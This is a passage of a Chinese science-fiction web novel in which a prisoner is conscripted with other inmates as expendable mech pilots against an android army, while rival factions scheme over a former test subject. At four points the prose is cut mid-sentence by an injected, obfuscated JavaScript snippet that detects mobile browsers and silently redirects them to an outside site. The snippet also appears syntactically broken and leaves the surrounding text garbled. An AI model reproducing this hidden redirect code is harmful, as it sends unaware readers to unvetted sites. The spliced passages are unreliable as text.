先提条件的往往是更加迫切的一方,她和肆拾壹的立场高低有如云泥之别,但在这件事上,主动权却在她手里。 看到路麦一直没有出声,肆拾壹不耐烦地用畸形的手指敲打着桌面,说道:“我看过你的履历,从体能和智力的数据来看,你有机会成为一名优秀的战士。但是,你已经参加过十三次A1考试,至今仍未合格。不是我吓你,你在战场上活不久。” “不对。”路麦反驳道。 肆拾壹蜷起手指:“你说什么?” “我记得是十二次。”路麦说。 肆拾壹不知为何松了一口气,他将双手交叠起来:“和狱长相比,我的权力有限,但从名单里捞一个人出来还是绰绰有余。你也不想就这么随随便便死在战场上吧?” 路麦低着头,想了半天,答:“劳您费心,我愿意上战场。” 肆拾壹那双藏在顶光下的眼睛里流露出不敢置信的神情,幸好他还有光线作为掩护,如果让路麦看到他此刻的表情,一定会笑得停不下来。 “你说什么?”这是肆拾壹在一分钟之内第二次说这句话。 “您不用花心思考虑怎样才能让我从名单上消失,因为我愿意服从分配。”路麦的语气非常肯定。 肆拾壹烦躁地摸了一下那颗寸发不生却又崎岖粗糙的脑袋:“你很快就会后悔的。” “也许吧。” “只要你还没正式步入战场,都有反悔的机会。”肆拾壹的语气甚至变得卑微了起来,这是因为他发现自己预备的威胁手段竟然没有发挥半点效用,他被打了个措手不及,又或许是因为他想试探一下OA7W是否是一个吃软不吃硬的人。 路麦被送回了独房。 送她回来的黑西装在替她摘掉黑色头罩时,脸上挂着一幅欲言又止的表情。 路麦没有追问,任由他锁好房门离开,自己则一个轱辘滚到床上,打开终端,搜索有关兵役的内容。 相比其他条目,兵役相关的叙述显得笼统很多,但毋庸置疑的是,它对减刑有极大好处。 杀灭一名仿生人即可获得至少三万年减刑,根据对方的职权和军衔,一下减十万年也并非痴人说梦。哪怕只是协杀,在判定为有效攻击后,也可以获得五千至一万年不等的减刑。 战功显著者,还有机会直接被军队接管,收编入伍,脱离服刑犯身份,一步到位吃上公家饭,还可以正常参与军队晋升流程,不会遭到“特殊对待”。 这应该是很多人求之不得的事。 肆拾壹却以“除名”为条件拉她结盟。 这好像不太符合逻辑,也不太符合市场规律。难道说兵役有着她不了解的风险,而那种风险远远超过战死沙场?还有一点,兵役的前置条件中有“成为饲主”一条,也不知道这两件事到底有什么联系。 把这些疑点总结到一起,多少有点细思极恐的味道。 路麦窝在被子里反刍了半天,回味过来这种微妙的恐惧来源于未知。 有些事情在她看来之所以如同无理取闹,这是因为她还在用自己那个世界的认知来判断这个世界的事物。 对这个世界的规则来说,这个前置条件绝不会是无缘无故产生的,这其中一定存在某种缘由,只是她还未能知晓。 包括肆拾壹和她谈的条件。 这说明至少以他那管理员的立场来说,和他结盟是一件比服兵役划算得多的事情。 上战场会有性命之忧,难道和他结盟就没有了吗? 他也只不过把她当成对付唐古拉斯的炮灰罢了,这两者到底有什么区别? 不过无论如何,有一件事是路麦可以肯定的,在这个世界上会真心为她考虑的只有她自己,肆拾壹再如何花言巧语,也不可能是在为她的将来打算。 他也不过是为了达成自己的目的罢了。 “我该答应他的条件吗?”路麦自言自语。 路西法突然跳到她眼前,有些焦急地用前肢击打着被面。这是它“点腿”的动作。它想让她接下这活。 路麦问:“你干嘛这么积极?和唐古拉斯那个大叔有仇啊?” 蜘蛛不语,一味激动。 路麦说:“杀死唐古拉斯,他说得倒是轻巧,我看他是把我当成了一次性的杀手,用完就可以不管的那种。可是呢,我想要的是清白、平安地活着。我要离开这里,再次成为一个合法公民。如果我杀了唐古拉斯,那不就成杀人犯了?” 蜘蛛“沉默”了。 路麦说:“虽然我连A1执照都还没考出来,但我可是在训练时拿过满分的。如果在战场上表现优异,被军方看中的话,没准就能洗白背景应征入伍了。这能省下多少工夫啊……” 虽然可能性不大,但理想总是美好的嘛…… * 和肆拾壹的谈话过了还不到一天,终端上一直显示为灰色的兵役按钮就突然亮了起来。 等路麦发现这件事的时候,她的界面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792261|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上显示的已经是“已报名”的状态。 她心里多多少少还期待着阳光美男或是赛博宠物能给自己一点提示,比如用海市蜃楼演示一下战场的危险,或是用系统消息给点参考意见……但最近这这两人一个赛一个沉默。 上下班的路上倒总是能听到有人讨论这个话题,一问有没有报名,答案倒是清一色的“没有”。 因此,回答“报了”的路麦登时成了人群中的异类。 “你报了?” “我不信,你手伸过来给我看看。” “我靠,真的。妹子,容我叫你一声勇士。” 路麦十分怀念胖子还在的日子。如果是和胖子在一起,她就可以放心地询问这其中的猫腻了。 为什么他们宁可贩卖肢体,也不愿意上到战场去? “你,你报名了?”古德奈愣愣看着路麦收回手腕,一把抓住她的腕带,提到自己眼皮底下看了一眼。 路麦甩给他一张无奈的笑脸。她目前对兵役没有特别的抵制情绪,但这也不是她的主动选择。恐怕肆拾壹口中那份“名簿”上的人,都和她一样被强制报名了。 不知道那份名单上都还有谁。管理局又是依照什么标准挑的人。 兵役的奖励很诱人,但如果她知道大家会是这样的反应,一定会在收集更多情报之后再做决定。 “那……那我要不也报吧?”古德奈说。 路麦一惊:“什么?” 古德奈说:“如果我也报名的话,我们两个就能一块上战场了。” 有人从附近走过,一掌拍在古德奈的肩上:“好小子,你也是勇士。” 有人吹了声口哨:“开眼了,这地方居然还有亡命鸳鸯。” 古德奈的脸红了一下,但很快就笑着说:“我们是盟友!” 路麦小声问:“兵役到底有多危险?为什么大家都是一副敬而远之的样子?” 她当然不觉得战场会有多安逸,问题是N21本身就危机四伏,还不如搏一搏,没准单车就变摩托了。这儿有那么多人都“卖身减刑”了,在她看来未必比上战场卖命好。 古德奈说:“我也不知道呀!” “在聊什么?”正义之士突然从两人身后冒了出来。 路麦一边摆手打招呼,一边答道:“我们在讨论兵役的事呢。” 正义之士问:“讨论得怎么样了?” 路麦说:“我已经报名了。”虽然其实是“被报名”。 古德奈说:“我准备报名。” 正义之士抬手:“既然你们都要去的话,那我也报一个好了。” 路麦有点受宠若惊。因为很显然,古德奈和正义之士都是因为她才报名的。她没得选,他们有,但他们还是慷慨地和她站到了一起。 “真的不要紧吗?万一遇上危险——” 正义之士说:“别担心,我会保护你们的。” 古德奈说:“我才用不着你保护呢,我厉害得很。” 路麦哑口无言。 42. 各方意见 * 偏远行星崔坦。 生命研究协会的地下堡垒中,联络员正在整理分布各地的执行员们送来的联络信号。 一只手突然按在新作成的报告书扉页,忙碌的联络员只飞快地看了一眼,便被吓得低下头去继续工作。 灰鹰打开报告书,看见一条让人感到不快的情报: “执行员35报名参加兵役。此次兵役由N21与军方联合发起。截至目前已征集到198名服刑者。” “更详细的信息?” “战场位于121宙域,敌人是占据比邻星杰塔的仿生人组织。”秘书恭敬地回答道。 “注意你的措辞,仿生人不是我们的敌人。”灰鹰的语气有些严厉。 秘书无声地点头应答。 灰鹰继续说:“35号的行动决定有违组织初衷,回来之后,罚。” 秘书歪着脑袋想了一会儿,道:“我听说35号的任务对象——也就是那位魔王——被强制服役,我想35这么做应该是为了保全任务目标,并获取他的信任。” 灰鹰说:“任务完成,赏。手段错误,罚。” 秘书耸了耸肩,没再就此事发表议论,而是将话题一转:“流放地这次发起兵役,好像和唐古拉斯有关。” 灰鹰将报告书翻到下一页,但那只尖尖的左耳看起来还在等待部下的后文。 于是秘书继续说道:“很久以前,唐氏集团就对N21的归属表现出兴趣,而且还总是一副势在必得的样子,不然唐古拉斯也不会把魔王丢到那儿去。不过他步子迈得太大了,引起了狱长的警觉。” 灰鹰沉思片刻:“但狱长没打算和唐氏正面对抗。她知道,鹬蚌相争,渔翁得利。” 秘书笑笑:“正是。还以为这次可以坐山观虎斗呢,没想到她却不上钩。有传言说她是为了替人背黑锅才被推到那个位置上去的。考虑到年纪和资历,她的表现倒是大胆中不乏沉稳。” 灰鹰说:“那个人,不能小看。” * 唐氏前沿技术研究所。 这家大型科研机构的最高领导人向来事必躬亲,不过为了将更多精力节省给他的伟大事业,他也不得不培养几个可靠的亲信,比如说铁锨。 这是唐古拉斯在三年前从联盟大学的当届毕业生中亲自挑选出来的助手。 他在一群浮躁的年轻人中间显得格外沉稳,对专业知识的掌握也非常牢固,还有一双对外科医生来说相当重要的稳定且精细的手。 除此之外,最让唐古拉斯欣赏的还是他那种兢兢业业、从不多嘴的态度,正因他寡默好学、虚心实干,所以据说带过他的导师总是愿意倾囊相授,即使刚愎自用如唐古拉斯,偶尔也会不小心着了他的道。 而唐古拉斯本人对此并不反感,毕竟他也是一名资深的科研人员。他乐意在手术时让这位年轻人见习,也乐意带他参加每一项实验、出席各种学术会议。 等回过神来的时候,这名为铁锨的青年已经不仅仅是他在科研方面的助手,还是一名为他管理各项工作安排和日程的秘书,掌握了不少他不愿让外人知晓的辛秘。 唐古拉斯不是没有意识到此中风险,但往往又屈服于“此人着实好用”的事实。 将实验体678送去N21进行后续观察便是铁锨为他出的主意。 不得不说,这名青年头脑运转得很快,而且心思也异常缜密。 从678死而复生到他提出这一建议,中间只经历了最多一刻钟的时间,他已经考虑到能够避开生命研究协会那帮魔怔了的组织成员,又能够妥善安置这具已完成研究计划的实验体,让它处于唐氏的势力范围之中,且不会轻易被人怀疑的处理办法。 捏造名目,将678送到流放地N21去。 这称得上是一个绝妙的办法,N21的管理局能够在已经走火入魔的非盈利组织的长鞭之外为678提供暂时居住的场所,唐氏从很久之前就在N21排布的眼线们也能在这个特殊时期发挥效果。 只是没想到事情进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803254|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一半出了岔子。 那位刚刚走马上任的狱长突然之间收紧了N21的出口,所有人在离开流放星之前都要进行层层盘查,这让已经运作了好些年头的走私活动遭到巨大打击,更要命的是这使唐氏一下子失去了对678的紧密监控能力,也就使得他们无法在有需要的时候及时把678捞回来。 麻烦到这里还没结束,就在前不久,一名半机械人卧底发生意外爆炸,导致天狱检察官嗅到了些许苗头,最后从那名间谍身上残留的手术与实验痕迹中疑似锁定了唐氏集团。 那些能干得过了头的检察官立刻顺藤摸瓜地找到了一大批可疑人物,并打算通过合法的方式将他们遗弃至N21以外的非法地界——即目前与仿生人军队交战最激烈的宙域,让他们自生自灭。 而这一计划在表面上不会得罪任何人。唐氏可不会蠢到在这个节骨眼上跳出去,否则就坐实了自己和那些卧底们的关系。 此举大幅削弱了唐古拉斯在N21的苦心经营,又让他一肚子气没地方出。 铁锨说:“678也在强制征召的名单里,我们或许可以趁这个机会再把它带回来。伪造它死在战场上的假象并不困难。” 唐古拉斯最近不时会对自己遗弃678的决定感到不解——那东西只要还活着,就有用之不竭的研究价值,他怎么会如此轻易地同意将他送走? 在此期间,他其实不止一次对铁锨产生过怀疑,怀疑这位青年正是为了阻碍他的研究进度,才诱导他做出送走678的决定。 但仔细思考之后,他又打消了疑虑,因为导致卧底暴露的两件事都和铁锨无关,倒不如说,那两名已经暴露的卧底早在这名青年来到唐氏之前就被送去N21执行任务了。 唐古拉斯考虑片刻,对助手说:“这件事就交给你了,我还要去撰写实验规划。” 他走出几步,又转过头,补充道:“我安插在服刑犯中间的眼线几乎被清了个遍,你尽快补上这方面的空白。不要心疼那些会随便爆炸的耗材。” 43. 同步率 * 兵役报名在通道开放后的第四天截止,整颗星球数亿人口,也就凑出了几百号人,里面还有不少是强制参加的,从数据来看,主动报名的比例可以说是微乎其微。 第五天是集合日,路麦一大早就被终端叫醒。不到五点,房门就解锁了,路麦收拾了一下心情出门,发现正义之士已经在外面等着了。 古德奈是最后一个出来的。 邻里三人搭上特别接驳车前往位于空间门附近的集合地。路麦一眼就看到了已经列在队伍里的鉴定师小姐。 没想到她的所有服刑者熟人都报名参加了兵役,这让她心里的不安稍微消减了一点。 可能对于大多数人来说,兵役是送死,对强者来说却是减刑大礼包吧……这么想就合理了。 “你有A1执照吗?”一个身材高大的男人穿过人群,走到路麦面前。他梳着背头,脸上有疤,表情严肃,模样很凶,身上没有机械化的痕迹,也没有多余的肉芽,肌肉很发达,斜方肌和二头肌高高隆起,看上去一拳就能轻松打死一个成年人。 路麦不明所以,还有些害怕,拨浪鼓似的摇了摇头。 男人又看向一旁的古德奈:“你有A1执照吗?” 古德奈学着路麦的样子,摇了摇头。 男人盯着古德奈看了一会儿,神色狐疑,但没说什么,又转头问正义之士:“你呢?” 正义之士面色坦然:“没有。” 男人的表情没有变化,看着三人的眼神却多了几分鄙夷。他转过身,继续他的人口普查大业,似乎要把这里每一个人的底细都搞清楚一样。 路麦等那男人走远了,才小声问古德奈:“你不是说你有驾照?” 古德奈同样小声回答:“不知道他在打什么坏主意,还是先隐藏实力比较好。” 正义之士说:“我觉得他可能是想要集结一支具备一定战斗能力的小队,这样能提高在战场上的生存率。” 路麦似懂非懂:“这样啊。” 正义之士说:“他以前应该在军队或是佣兵组织待过,没准头衔还不低。” 古德奈岔了一下话题:“每天三瓶营养液,真能供得起那样一身肌肉吗?” 正义之士说:“积分商城有蛋白粉卖,再配合日常锻炼的话……” 路麦说:“那我们到时候就跟在他边上好了,说不定能混到点战绩。不过最重要的是能活着回来。” 古德奈望着那个男人的背影,突然嘟囔了一句:“奇怪,总觉得那个大块头有点眼熟。” 这话引起了正义之士的深思。 路麦能感觉到正义之士对古德奈的话产生了兴趣,但猜不到她到底在想什么。 五点半,集合好的服刑者们按照指令排队进入空间门,依次被传输到军方为此次作战出动的母舰上。 根据行动指导员的要求,每个人都要先在一台机器上进行同步率的检测,然后才能领取各自的战斗装备,也就是机甲。 “同步率是什么?”路麦问。 她已经不能算是机甲小白了,但目前为止却从没有在任何与机甲相关的教材中看到过类似的单词。 “这是专门针对过时的低阶量产型机甲设置的检测,那种廉价机甲的神经联结系统一般都很落后,需要根据每名驾驶员的同步率进行手动调整。如果是搭载自适应系统的机甲就没这么多事了,不过那种系统的成本很高,他们当然不会给炮灰机配备。”正义之士解释道。 虽然其实完全不是那么一回事,但听起来倒有点像手动档和自动档的区别。 排在队伍前列的人已经开始接受检测了。 那是一台看上去和身高体重计大差不差的机器,受检者站到上面去,机器后方的测量管会自动调整到与受检者后颈同高的位置,在某节颈椎上轻轻一贴,发出滴的一声,一旁的面板上就会显示出一个百分比数字。 44%,57%,62%,39%…… “这个数字的高低会对驾驶产生影响吗?”路麦又问。 “除了特别高和特别低的,其他都差不多,在机器上手动校准之后基本没有多余影响。”正义之士答。 说话间,已经轮到古德奈受检了。 他信心满满地站了上去,滴声之后,面板报出了86%的数值。 这是目前为止出现过的最高值了,而且甩开第二名十多个百分点。 目前为止,同步率位居第二的就是之前的那个大个子,他的数值是75%,刚好是良好级的下限。 队列中出现了一些议论的声音。 “牛啊!” “咱们这些人里也有隐藏的高手嘛。” “不知道那小子入狱之前是干什么的。” “这算是特别高的数字吗?”保险起见,路麦还是向正义之士确认了一下。 “算吧。超过80%就已经是千里挑一的存在了,再往上走,每多一个百分点,人数就会少一半。”正义之士说。 路麦飞快地心算了一下,也就是说六七万个人里才能出一个86%这种级别的。按人口总数来算可能不少,但也确实不是那么容易遇上的。 “这是天生的?”她问。 “天生的。不过可以通过基因手术调整。”正义之士说。 轮到她了。 她面不改色地站到机器上,面板显示的数字是71%。 就目前来说,也是偏高的数字了,但毕竟有86%珠玉在前,71%也就不显得那么惊艳。 正义之士下了机器,古德奈立刻跑到她面前吹嘘起来。 大个子分拨开人群,向那两人走了过去。 路麦想知道他到底有什么打算,但指导员的催促让她不得不像是被赶上架的鸭子一样站到那台检测机器上,用手撩开脑后的长发,露出那截骨感的脖子。 测量管移动到后颈处,长期潜伏在那一带的路西法早就机灵地转移了阵地。 脑后微微一凉,头顶略略发麻,不远处传来刺耳的滴声,队列中的待检者们发出嘘声一片。 路麦疑惑地侧过头去,还不等看清面板上的数字,指导员就用冷漠的语气报出了结果:“别看了,9% ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816766|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,乖乖等死吧。” 路麦不死心,伸长脖子瞅了一眼,红黑相间的显示屏确凿无误地显示着9%这个数值。 “虽然说高值少见,但低到这种程度,也是个稀罕人物啊。”有人贫嘴道。 “是个人才。”另有人调侃。 路麦觉得这机器八成有问题。 倒不是她对自己有信心,而是她的这具身体,曾经可是军方正儿八经的王牌,在机甲驾驶上有着绝对出众的天赋,怎么可能只有9%的同步率? 正义之士也说了,这是天生的,是刻在基因里的东西。身体的基因,总不能因为换了个意识,就发生彻头彻尾的改变吧? “真让人意外,我还以为你的数值不会输给这小子。”正义之士毫不掩饰自己的讶异。 古德奈没有说话,眨巴着眼睛看着路麦,表情也显得有几分好奇。 大个子还没离开,若有所思地看了路麦一眼,眼中仍带着淡淡的不屑,但比起刚才那种不以为意,现在则又多了一丝探究。 路麦没管他,向正义之士请教道:“你刚才说只要数值不是过高或过低就不会有影响……那如果过低了呢?” 应该不至于坐上那种版本落后的廉价机之后就立刻暴毙吧? 正义之士的脸上略微带了一点担忧,她皱了皱眉说:“会限制机体的性能。不过那种炮灰机,也谈不上有什么性能。” 路麦松了口气。 正义之士又补充道:“还有,同步率过低的话,会放大精神损伤的影响。” “精神损伤?” “简单来说,就是对大脑造成不可逆的伤害,时间久了就会变成俗称的那种——鸡脑子。” “鸡、鸡脑子……”路麦吞了口唾沫。 又是一个陌生的单词。 就算是第一次听到这个说法,并未理解它真正的含义,但她还是从它的构成方式中感到一丝不寒而栗。 长在鸡脑袋里的鸡脑子没什么可怕的,但长在人脑袋里就是另一回事了。 “不要担心,你不会变成鸡脑子的!”古德奈不知为何,哪怕是看到9%这种低到吓人的数字之后也没有对路麦丧失信心。 他说这话并不是在安慰路麦,而是一种……信誓旦旦。 就因为他百分百确定“她”就是那个神秘的王牌飞行员吗? “也许你一直没能拿到A1驾照就有这方面的原因。”一个声音突然从不远处响起。 路麦一回头,对上了鉴定师小姐那充满睿智的眼神。 她正从机器上走下来,一旁的面板还残留着她的数据:72%,比正义之士多了1%。 这并不让人意外,倒不如说,比预想的要低。像她那样十项全能的人物,哪怕测出一个和古德奈不相上下的数值也在情理之中。 72%是一个偏高的数值,但也只是比起平均值来说。而鉴定师小姐显然是一个远超平均的人物。 “这种简易检测机器给出的数值只能当作一个参考,遇上一些体质特殊的人,很难测出真正的同步率和驾驶潜能。”她继续说。 44. 不可信 “就算不精确,难道还会把99%测成9%?”大个子男人质疑道。 言下之意,这种简易机器的测量结果就算没那么精确,但也不可能和实际结果相差十万八千里,有个10%的浮动还是可以理解的。而9%再怎么浮动,也都只能是一个远低于平均值的数字。 鉴定师小姐有些高深莫测地笑了笑:“这也说不准呢。” 男人或许认为自己被耍了,表情略显不快:“开什么玩笑!” 鉴定师小姐没有回话,但神情之中若有若无地带上了一丝挑衅的意味,让她看起来竟有几分耀武扬威的感觉。这和她平时给人的感觉很不一样。 男人不想在这个话题上浪费太多时间,他还有自己的事要做,于是冷哼了一声,也不再多说什么,迈着步子离开了。 “他是来干什么的?”路麦等他走远了,才小心地问道。 “他还是想拉拢我们。”古德奈说,“哎呀,就算能隐瞒持有驾照的情况,但同步率所有人都能看到——我的强大终究还是暴露了!” 正义之士说:“我猜的没错,他打算把有能力的人召集起来,组建一支队伍,运气好的话没准可以完成任务,并且活下来。至于弱者的死活……他还没有强到能保护弱者呢。” 没过多久,所有人都完成了检测。指导员让每个人记住自己的同步率数值,在启动机甲之后,第一件事就是在面板上输入该数值,以确保机甲能调整好各项性能以配适驾驶者的能力值。 队伍开始向母舰的内部走去。 这是路麦在成为服刑者之后第一次离开N21。母舰的规模大得吓人,像是一座漂浮在宇宙中的城市,除了各种与战斗有关的设备设施之外,生活娱乐场所也是一应俱全,当然,他们这群暂时滞留的服刑者是无福消受的。 几百号人按批次被领到格纳库,再按照叫号顺序匹配各自的机甲。 那是一种对于“机甲”这种类型的装备来说过于迷你的装甲武器,甚至还没有路麦在路考时使用的教练机大。 有过军队服役经验的鉴定师小姐解释说,这是装载自动模式的轻型机,哪怕是没有学习过驾驶技术的外行人,也能在简单的培训之后学会使用这种机甲的方法。 被强制送来这里的服刑者们大多没有机甲驾照,具备战斗经验的更是寥寥无几,而使用这种轻型机则无需担心新人们的驾驶水平。 这种说法让路麦觉察到了什么。 “不需要专业驾驶技术的轻型机甲队列”,这个冗长的词汇完全可以浓缩成一个简洁的单词:炮灰。 正义之士将它们称为“炮灰机”,显然是一种非常准确的叫法。 负责他们这批犯人的军方指挥官大声说道:“所有人,登机。” 路麦张望了一眼自己的那几个同伴,发现他们都已经动作麻利地进了驾驶舱,于是也赶紧钻进那个狭小的空间,根据指示关上了舱门。 肌肉男分配到的机甲在二排第五个,编号是GU4F,也就是他的服刑者编号。 完成发动的轻型机甲们按顺序滑上轨道,然后像子弹一样弹射出去。 很快,路麦也成了子弹的一员。外部重力的变化让她感到一阵眩晕,而通讯频道则传来了此起彼伏的呕吐声。 指挥官下达作战指令。 将指令内容翻译成直白好懂的话便是:炮灰部队直冲仿生人军队在比邻星杰塔周边展开的防御网,在上面撞开一个空洞,让军方的正规战列能够安全登入战场。 “完成冲撞之后怎么办?是在正规军前方进入战场,还是等他们进去之后,我们从侧面辅助?”古德奈通过对讲机向指挥处提了一个一本正经的问题。 指挥官没有回答。 一个具有机械声带发音特色的声音从通讯频道传来:“冲撞完之后装甲都碎成渣渣了,你还想跟着进攻呢?要是发现自己还活着,第一时间有多远逃多远呗。反正战术任务都完成了,指挥处也不能拿你怎么样。” 古德奈啊了一声。 路麦将这段对话尽收耳底。 她从视野中看到了比邻星杰塔的外观,一颗漂亮的类地行星,可以看见深蓝的海洋和褐色的陆地,以及大气圈中棉絮般的白色云层,最后是按照一定间隔发光的立体防御圈。 有人说:“这种事情让无人机来做就好了嘛。” 又有人说:“能够独立执行这种自杀式任务的冲撞无人机比你的命和你飞的那台一次性机子加起来还贵。” 又又有人说:“咱们就消极怠工吧。拿不拿得下比邻星和我这蹲大牢的有什么关系?大不了我这辈子就交代在螺丝厂里了。” 有人反驳:“你没看见边上那一排狙击机吗?你要敢不上,它立刻一梭子送走你。” 有人补充:“射程之内不能逃离,射程之外又来不及转向,只能往前撞,这都是他们算好的。” “靠!见鬼!” 看来击杀仿生人获得减刑什么的,在这种情境中实现的可能性基本为零。炮灰们连逃生的路都被堵死了。放眼望去只有一条向前的死路。 因为他们脆弱的轻型机甲会在撞击立体防御圈的时候碎裂。而与仿生人交战是在那之后才会发生的事。 “同归于尽不是唯一选项,只要操作得当,哪怕只用一台轻型机也能击破防御板块。”一个低沉的声音突然响起。 路麦认出这是肌肉男的声音。他果然有生存计划。这让路麦精神一振。 沉默片刻后,通讯频道顿时变得热闹起来。没人避讳同样在频道之中的指挥官,当着他的面大声密谋,而指挥官也没有要对这些对话进行管制的意思。 “怎么操作啊?别卖关子,你倒是直接说啊!” “反正横竖是要交代了,不如碰碰运气吧。” “很难吗?我这种机甲小白是不是可以不用想了?” 男人很快就报了一串服刑者编号,大概有十五个左右。“我叫到号的,出列。” 路麦听到了EH2N也在其中——这是自然,鉴定师小姐也是有A1执照的,不仅如此,她还在军队服役过。 十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827147|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台机甲从乱七八糟的队伍中脱离出来,重新聚集到一起,并在男人的安排下列成螺旋状。看来他们想把自己变成一把钻头,将星球外侧的防御板块钻出一个孔来。 出列的机甲比叫到的号少一个。 男人又报了一遍:“EH2N。” 那台编号EH2N的机甲这才从队伍中脱离。那正是鉴定师小姐的编号。 路麦这下终于对肌肉男有点刮目相看了。姑且不说他能一下就记住那么多四位编号,能在这么混乱的场景之下,一眼弄清出列的机甲中少了哪一台,这观察力和记忆力可都不是盖的。能在这种细节上做得滴水不漏,综合实力肯定也不容小觑。 这人不仅四肢发达,头脑也不简单。 搞不好真能让他们功成身退咧。 “切……我还以为有什么好办法呢。专门的机甲兵阵列都不敢打包票说能成功,你拉一队外行人就跟不可能了。如果你随便组一支钻头编队就能打破防御板块,军方也不会找我们来当炮灰了。”有人嚷嚷道。他显然是没能被拉进小队的一员。 “我听说魔王可以做到单兵击碎防御板块,有人知道他是怎么操作的吗?”另一个没被编进钻头小队的人拐着弯地表明不看好肌肉男的计划。 “让他们上呗,万一真的成了呢?我们不就可以留住小命啦?”有人说。 这时候,男人又追加了一个编号:“OA7V,你也来。” 路麦意外地看向古德奈的方向。那小子没有立即行动,不情不愿地问了一句:“干嘛啦?” 有人插嘴:“大佬,你还缺人手的话,我可以上啊。” 这话引起了一片附和。看来在场的人已经对“跟着那个大块头或许有活路”这件事有了一定共识,哪怕是碰碰运气,也想往那个特殊方队里挤。 为了挣条命,还有什么开不了口的吗? 大佬没理会插嘴的人,道:“在驾考中创下的记录至今还没有被破,当场拒绝了军方的邀请之后便不知所踪。原来是犯事来了N21。” 路麦一开始听得云里雾里,几秒后突然反应过来,那竟是古德奈的成绩。 虽然不知道在A1考试中创下记录是个什么概念,但既然能被特意拿出来说事,显然是不简单的。 而古德奈这小子不简单,路麦多少也是有点底的。 古德奈本人自然是一下就明白那人说的什么,明明是件值得吹嘘的事,他却表现得像是被人揭了老底的反派似的,慌慌张张地问道:“你、你怎么知道?” 大佬淡淡说:“我和你参加了同一场考试。” 古德奈大呼:“怪不得!” 怪不得觉得那家伙有点眼熟。 大佬说:“为什么要说谎?如果你能加入我们的队伍,计划的成功率会高出不少。” 这时候,那些想要碰运气的闲杂人等却是没有再多嘴的了。看来大多数人都知道在A1保持世界第一的人是自己再如何也无法碰瓷的水准。 古德奈给出的回答十分简单:“我觉得你不可信。” 45. 觉醒 大佬沉默了一会儿,说:“和你比试驾驶技术,我恐怕只能甘拜下风,你不信我也没办法。但是对驾驶技术的实战应用,我有自信胜你一筹。还是说,破解这个死局,你有更好的办法?” 通讯频道中间断地出现了一些窃窃私语的声音,听起来像是有的人有感而发,但又不敢直抒胸臆,只好近乎自言自语地嘀咕几句。 古德奈说:“我没什么好办法,不过我知道这里有比我更厉害的人。” 频道中猛然出现一片哗然之声。 “比A1的世排第一还牛的,那肯定是在军队待过的巨牛,到底是谁啊?” “我怎么从来不知道N21来了这么号人?” 路麦歪了一下脑袋,心说这小子难道还有什么隐藏人脉不成? 有人半开玩笑地问了一句:“别告诉我魔王失踪其实是因为被关进了N21?” 路麦感到太阳穴突突地跳了起来。 还没等她反应过来,就听那小子在频道里说:“OA7W,我邻居,我敢拍着胸脯保证,她的实力比我强多了。” 所有人的表情都被巨大的人形机械给遮盖住了,但路麦却好像嫩感觉到无数道目光射到了自己身上。 频道里有人按捺不住,喊了起来:“OA7W,OA7W,谁是OA7W,说句话!” 路麦半点不敢应。虽然在练习的时候,她发现自己确实有那么点天赋,但到底至今还没得到证实的驾驶许可,也没有经历过真正的实战,她才不敢在这种生死攸关的场合吹嘘实力。 偏偏古德奈又补充了一句:“只要她不跟你走,我也不会跟你走的。” 路麦觉得投射在自己身上的目光似乎更加锐利了。 大佬缓缓开麦:“OA7W,你怎么说?” 他没有完全相信OA7V的说法。刚才进行个别询问的时候,他看到过OA7W的样子——一个哪怕是像他这样对女人没有兴趣的人也会承认是个美人的家伙。 哪怕OA7W没有驾照,哪怕OA7W的同步率并不出众,但他可以为OA7V破格一次。 恐怕是OA7V对那个女人有意,所以才想借这种方式把她一起塞到他组建的特别行动队列里,好让她也有机会活下来。 不过在这种场合,他没有必要戳穿OA7V的谎言。如果能让OA7V这样有着确定实力的人加入队列、提升计划成功率的话,那多带一个拖油瓶也不算太大的问题。 他们的命运本该是全军覆没,所以哪怕只多活下一个人,都能算得上是胜利了。 可问题是,OA7W是一个同步率只有9%的“奇葩”。 